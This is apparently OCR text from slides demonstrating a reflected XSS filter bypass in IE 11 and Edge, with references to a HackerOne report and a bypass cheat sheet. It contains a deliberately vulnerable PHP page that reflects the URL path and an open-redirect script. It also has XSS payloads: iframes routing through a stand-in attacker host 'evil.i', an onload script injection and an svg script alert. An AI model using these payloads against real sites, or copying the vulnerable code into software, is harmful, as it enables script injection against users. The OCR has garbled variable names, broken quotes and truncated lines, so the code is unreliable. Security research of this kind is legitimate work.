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Demo Code:
<?php

header('HTTP/1.1 404 Not Found');

¢path = trim($_SERVER['PATH_INFO'],"/");
$1limit_pos = strrpos(trim($path,"/"),'/");
$action_name = substr($path, $1limit_pos);

$controller_name = str_replace("/","\\",substr($path, 0, $1imit_pos));

echo "Action:
?>
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|o The webpage cannot be found

Most likely causes:
* There might be a typing error in the address.
= If you clicked on a link, it may be out of date.

What you can try:

® Retype the address.

® (o back to the previous page.

® Goto and look for the information you want.

= More information
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File Edit Format
1 Action: bbb has controller:

2. url pathin] @ -> urlencodeZw il
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File Edit Format
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<?php
header("Location: "http://".$_GET["host"]."/".urldecode($_GET["payload"]),true,302);

http://evil.i/test/xss/12.php?host=1emon.i/test/xss/13.php&payload=<>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
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File Edit Format
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File Edit Format
1 Action: <>
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3. bypass IE filter
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<iframe onload="contentWindow[@].location="'//vulnerabledoma.in/bypass/text?q=<script>alert(location)</scrip
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<iframe src="http://evil.i/test/xss/12.php?host=1emon.i/test/xss/13.php&payload=aaaaaaaaaaaaaaaaaaaaaaaaaaa
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1 Action:
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<svg><script>alert(document.domain)<b>
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% Zpayload:

<iframe src="http://evil.i/test/xss/12.php?host=1emon.i/test/xss/13.php&payload=aaaaaaaaaaaaaaaaaaaaaaaaaaa
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Message from webpage @

M Explorer Console

X
@ HL13ee: Navigation occurred.

File: 12.html

A\ HTML1527: DOCTYPE expected. Consider adding a
File: 12.html. Iine: 1. Calumn: 1

Debugger

Network

UI Responsiveness Profiler

G~ Edge
Target: _top: 12html [v]
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valid HTMLS doctype: "<!DOCTYPE html>".
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Reflected XSS in the IE 11/ Edge
Browser's XSS Filter Bypass Cheat Sheet
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https://hackerone.com/reports/311467
https://github.com/masatokinugawa/filterbypass/wiki/Browser%2527s-XSS-Filter-Bypass-Cheat-Sheet
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